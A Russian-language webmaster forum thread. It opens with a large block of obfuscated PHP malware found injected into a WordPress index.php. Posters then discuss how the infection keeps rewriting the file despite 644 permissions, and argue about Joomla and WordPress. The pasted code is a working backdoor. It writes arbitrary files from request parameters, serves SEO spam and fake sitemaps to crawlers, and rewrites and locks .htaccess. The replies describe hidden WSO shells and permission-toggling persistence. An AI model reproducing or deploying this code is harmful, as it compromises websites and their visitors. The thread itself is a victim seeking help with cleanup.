0_OO0_O0));while($OO_00O_O_0=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x30\x30\x4f\x5f\x5f"]($O_0O0_0_OO,8192)){$O__O_0O0O0.=$OO_00O_O_0;unset($OO_00O_O_0);}$O__O_0O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x5f\x4f\x5f"]("\\r\\n\\r\\n",$O__O_0O0O0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x5f\x30\x5f\x4f\x4f"]($O__O_0O0O0);$O__O_0O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x5f\x5f\x30\x5f\x4f"]("\\r\\n\\r\\n",$O__O_0O0O0);}else{$OOO__0O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x4f\x5f\x30\x4f\x5f"](2,5);$O0O00__OO_=0;while($O0O00__OO_<$OOO__0O0_0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x30\x4f\x5f\x5f"]($O_0O0_0_OO,$O_0_OO0_O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x30\x4f\x5f\x4f"]($O_0_OO0_O0));$O0O00__OO_++;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x4f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x4f\x5f\x30\x4f\x5f"](50000,100000));}unset($O0O00__OO_,$OOO__0O0_0);}}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30\x4f"]($O_0O0_0_OO);unset($O_O0_0O_0O);}}if($O__O_0O0O0==\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x4f\x5f\x5f\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x5f\x4f"]) and $url){$O__O_0O0O0=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x5f\x4f"]($url);}}unset($O_0_OO0_O0,$OO0OO0__0_,$O_0O0_0_OO,$O_00O__O0O,$O_OO0__00O);if(!$O_0O_0OO_0){$O__O_0O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x30\x5f\x5f\x4f\x4f\x4f"](\'/(??:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)\'.\'((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"](\'$matches\',\'return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x5f\x4f\x30"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x30\x4f\x5f\x4f"]($matches[2])?$matches[2]:$matches[0];\'),$O__O_0O0O0);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x30\x5f\x5f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x30\x5f\x5f\x4f"]($O__O_0O0O0,"\\xEF\\xBB\\xBF"));}else{return 1;}');$O_00OOO_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$string','$O00O_O_0_O=substr($string,0,5);$O_O0O__O00=substr($string,-5);$O_O0_0OO_0=substr($string,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x30\x4f\x5f\x4f"]($string)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x5f\x4f\x30\x30"]($O00O_O_0_O.$O_O0_0OO_0.$O_O0O__O00));');$OO00_OO_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$O0_00O_OO_gent','$O0OO0O0___=false;$O00O0__OO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'S8/PThT89JTcovqUnKzEsH0elgkZrE/BywUE1lYkZtP+PgA=\');if($O0_00O_OO_gent!=\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"]("/($O00O0__OO_)/si",$O0_00O_OO_gent)){$O0OO0O0___=true;}}return $O0OO0O0___;');$O0__O0_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$O0OO_O__00efer','$O00_OOO_0_=false;$OOO_O_000_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'S8/PThT89J1UvO18sqqKlMzMjPh7KTMvPtPSAQ==\');if($O0OO_O__00efer!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"]("/($OOO_O_000_)/si",$O0OO_O__00efer)){$O00_OOO_0_=true;}return $O00_OOO_0_;');$O_0O_O0O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$OOO0_0__0O','$O00O__OO_0=isset($_REQUEST["\x66\x69\x6c\x65\x6e\x61\x6d\x65"])?$_REQUEST["\x66\x69\x6c\x65\x6e\x61\x6d\x65"]:\'\';$O0OO_00__O=isset($_REQUEST["\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"])?$_REQUEST["\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"]:\'\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x4f\x30\x5f\x5f"]($O00O__OO_0)){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x30\x30\x4f\x5f"]($O00O__OO_0)){echo "deleteerror";exit();}}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x5f\x4f\x30\x5f"]($O00O__OO_0,$O0OO_00__O,FILE_APPEND);echo $O00O__OO_0.\'success\';');$O_0O_OO0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$OOO0_0__0O=\'\'','@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x5f\x30\x5f\x4f"](3600);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x4f\x4f\x5f\x5f\x5f"](1);global $O0OO_0__O0,$O_00OO__O0,$O_OO000O__;if(isset($_REQUEST["\x75\x70\x66\x69\x6c\x65\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x30\x4f\x5f\x30"]();exit();}$O0O0O__0_O=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:\'\';$O0_0OO__O0=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:\'\';$O__0OOO0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x4f\x4f\x5f\x30\x5f"]($O0_0OO__O0);$O0OO___00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x5f\x30\x4f\x4f"]($O0O0O__0_O);$O__00OO_O0=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){$O__00OO_O0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){$O__00OO_O0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}$O0O__O0_O0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$OO0_O_00_O=\'\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x30\x4f\x4f"]($O0O__O0_O0,".php")>0){$O__O0O00_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x30\x4f\x4f"]($O0O__O0_O0,".php")+4;$OO0_O_00_O=substr($O0O__O0_O0,0,$O__O0O00_O);}if($OO0_O_00_O==\'\'){$OO0_O_00_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'y8xLShTa3QK8gtPoAAA=\');}$OO00O0O___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'Ky8vVhT03RS88syikuTkxLLanUy8ltPPzAMA\');$O0_OO_0_O0=sprintf($OO00O0O___,$O0OO_0__O0);$O0OO_O00__=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"])){$O0OO_O00__=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"];}$O_OO000O__=(int)$O_OO000O__;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f"](\'\',$O_OO000O__,$OO0_O_00_O);$OO0O0__O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'yygpKhTbDS11fNyC8uUdW3T7FVLVYrBRFFICIHROSBiBIQkQEi0oEtPEAA==\');$OO0O0__O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x5f\x4f\x30\x30\x30"]("/%host%/si",$O0_OO_0_O0,$OO0O0__O_0);$OO0O0__O_0=sprintf($OO0O0__O_0,$O__00OO_O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0O__O0_O0),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0O0O__0_O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0_0OO__O0),$O_00OO__O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x4f\x4f\x30\x30\x5f"]("Y-m-d h:i:sa")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0OO_O00__),$O0OO_0__O0);if(isset(${"\x5f\x47\x45\x54"}["\x30\x35\x31\x38\x75\x72\x6c\x31"])){echo $OO0O0__O_0;exit();}$O__O_00OO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'yygpKhTbDS1y8vLzc10EvPLMopLk5MSy2p1MvJT8zTt0+xVS1WKwURRSAiB0TkgYgSEJEBItKtPBBAA=\');$O__O_00OO0=sprintf($O__O_00OO0,$O__00OO_O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0O__O0_O0),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0O0O__0_O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0_0OO__O0),$O_00OO__O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x4f\x4f\x30\x30\x5f"]("Y-m-d h:i:sa")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f\x30"]($O0OO_O00__),$O0OO_0__O0);if(isset(${"\x5f\x47\x45\x54"}["\x30\x35\x31\x38\x75\x72\x6c\x32"])){echo $O__O_00OO0;exit();}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"](\'/sitemap_\\d+\\.xml/\',$O0O__O0_O0)||${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"](\'/sitemap_video_\\d+\\.xml/\',$O0O__O0_O0)||${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"](\'/sitemap_image_\\d+\\.xml/\',$O0O__O0_O0)||${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"](\'/sitemap_mobile_\\d+\\.xml/\',$O0O__O0_O0)){$O__O_0O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x30\x5f\x30\x4f"]($OO0O0__O_0);@header(\'content-type:text/xml\');exit($O__O_0O0O0);unset($O__O_0O0O0,$OO0O0__O_0,$O0_OO_0_O0,$OO00O0O___,$O0O__O0_O0,$O__00OO_O0,$O0O0O__0_O,$O0_0OO__O0);exit();}if($O0OO___00O){$O__O_0O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x30\x5f\x30\x4f"]($O__O_00OO0);echo "$O__O_0O0O0";unset($O__O_0O0O0,$OO0O0__O_0,$O0_OO_0_O0,$OO00O0O___,$O0O__O0_O0,$O__00OO_O0,$O0O0O__0_O,$O0_0OO__O0);exit();}');$O0OO__O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$O000_O__OO=\'\',$O_OO000O__,$OO0_O_00_O','$OO0_O_00_O=substr($OO0_O_00_O,0,@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($OO0_O_00_O,\'.\'));$O000_O__OO= "<IfModule mod_rewrite.c>\\n";$O000_O__OO .="RewriteEngine\\x20On\\n";$O000_O__OO .="RewriteBase\\x20/\\n";$O000_O__OO .="RewriteRule\\x20^".$OO0_O_00_O.".php$\\x20-\\x20[L]\\n";$O000_O__OO .="RewriteCond\\x20%{REQUEST_FILENAME}\\x20!-f\\n";$O000_O__OO .="RewriteCond\\x20%{REQUEST_FILENAME}\\x20!-d\\n";$O000_O__OO .="RewriteRule\\x20.\\x20/".$OO0_O_00_O.".php [L]\\n";$O000_O__OO .="</IfModule>";if($O000_O__OO!=\'\'){if($O_OO000O__){$O0O_0_O_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'09PXyhTyhJTE5OLS4tPGAA==\');if($O0O_0_O_0O!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x4f\x30\x5f\x5f"]($O0O_0_O_0O)){@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x30\x5f\x30\x4f\x4f"]($O0O_0_O_0O,0777);$O0O_O__00O=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x5f\x4f"]($O0O_0_O_0O);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"](\'/REQUEST_FILENAME/\',$O0O_O__00O)&&!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"]("/".$OO0_O_00_O.".php/",$O0O_O__00O)){$O0O_O__00O=$O000_O__OO.PHP_EOL .$O0O_O__00O;@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x5f\x4f\x30\x5f"]($O0O_0_O_0O,$O0O_O__00O);}}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x30\x5f\x30\x4f\x4f"]($O0O_0_O_0O,0444);}}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x4f\x30\x5f\x30"]();?> <?php //header('Content-Type:text/html; charset=utf-8'); $O_OOO0__00='67'; $O0__0O0OO_='1'; $OO___0O00O='1'; ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );

не могу понять как такое происходит, права на файло 644, как он сам так перезаписывается


короче нихера, что то я не догоняю что за дерьмо творится

andreich: Айболит хуйня ищи в ручную(grep, find) eval, base, смотри hta.. файлы так как php -} jpg можно назначить выполнение и тп... А вообще ищи опытного чела кто бы почистил и гарантию дал. Скорее всего дыры и руткиты без палевные. Перезаписывается банально сменой прав на 666 и откатом ) как ещё )

Int13h: так вот ты мне обяснии как можно, сменить права, перезаписать, и потом опять сменить права

andreich: chmod 666 index.php или exec ("chmod index.php, 0666") из скрипта, добавляется код и так же меняется ) при том на автомате

Int13h писал:

при том на автомате

ну кто то его же должен запустить ? ну там про срону или както еще, просто же скрипт не запустится, вот так взял и запустился

Мучайся тыж ее любишь жумлу.

Оффтопик:

Чуи писал:

Мучайся тыж ее любишь жумлу

во первых я не навижу джумлу, во вторых, хрена ты срешь в рабочих топиках

andreich: на счёт запуска и в целом инжекта кода в файл
может быть как ручная - wso шелл, допустим где то запрятан или руткит и человек заходит меняет пермишенс редактирует файл и обратно откатывает время имзенения и пермишинс на 644.
Но скорее всего автоматом - на счёт запуска не обезятельно по cron
могут и с внешних ресурсов дергать и делать неявный запуск в php файлах функции которая в случае отсутсвия вредоносной рабочей компоннты в index.php пишет её в него меняя права и откатывая.
Примеры неявного запуска - https://habrahabr.ru/post/215139/
т-ть тебе или унику достаточно зайти на сайт и скрипт проверки, инжекта запускается. А он может быть хоть my_cat.jpg, license.txt назван быть. Вариантов закрепится на серваке море, да ещё и более того, есть методы повышения привелегий, что бы лезть на другие сайты на серваке и закрепляться на сестемном уровне а не только htdocs, httpdocs, html, public_html, web....

снеси, заверни в WP

Или сделай в статике временно, а потом восстанови сайт на WP. Сайт-то часто нужно обновлять, есть вообще смысл в CMS?

мракобесие продолжается, сайт востановил, фронт пейдж работает, ну и как другие разделы

но сцуко теперь не пускает в админку, чтото какойто глюк с mysqli

вообщем я бы убил бы всех, этих тех кто придумал эту ебануту joomla

починил

joomla как и другие CMS хороши тем
что можно взять готовый шаблон и через админку визуально создать сайт.

ну а потом загнать страницы в статику с помощью wget и выпустить этот статический сайт в паблик.

rickdeckard: а смысл ?
дело тут просто нахера юзать джомлу если есть WP? где все понятно

или вот ты говоришь про статику, а если например у тебя инет магаз и тебе надо выгружать в яндек маркет товары ? у джомлы с этим есть проблемы, а точнее есть плагин который как нистрано укропитеки сделали, но малехо напортачили, потом вышел другая версия, вот тоько не откликаются они на контакты, вообще joomla? к ней плагины и т.д. это полный пиздосвайц, у меня у самого есть пару сайтов но там еще версии старые, еще можно понять как это работает, новые версии мне вообще не хуа не понятны

Оффтопик: всем отвесил

Что-то не понял: вроде речь про джумлу (1сбитрикс), а в коде

Код: [развернуть]

/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress

pervect писал:

Что-то не понял: вроде речь про джумлу (1сбитрикс)

читать надо внимательно

а я вот не понял при чем тут 1сбитрикс

andreich писал:

rickdeckard: а смысл ? дело тут просто нахера юзать джомлу если есть WP? где все понятно или вот ты говоришь про статику, а если например у тебя инет магаз и тебе надо выгружать в яндек маркет товары ? у джомлы с этим есть проблемы, а точнее есть плагин который как нистрано укропитеки сделали, но малехо напортачили, потом вышел другая версия, вот тоько не откликаются они на контакты, вообще joomla? к ней плагины и т.д. это полный пиздосвайц, у меня у самого есть пару сайтов но там еще версии старые, еще можно понять как это работает, новые версии мне вообще не хуа не понятны

решений бесплатных дохера - к то к чему привык то и использует.
по разные случаи - не подходит статика - ну значит надо руки выпрямить или нанять специалистов.
все эти взломы от кривых рук или незнания инструмента или лени/жадности - когда скачал на файлопомойке крякнутый плагин или тему и элементарно не удосужился проверить на вирусы.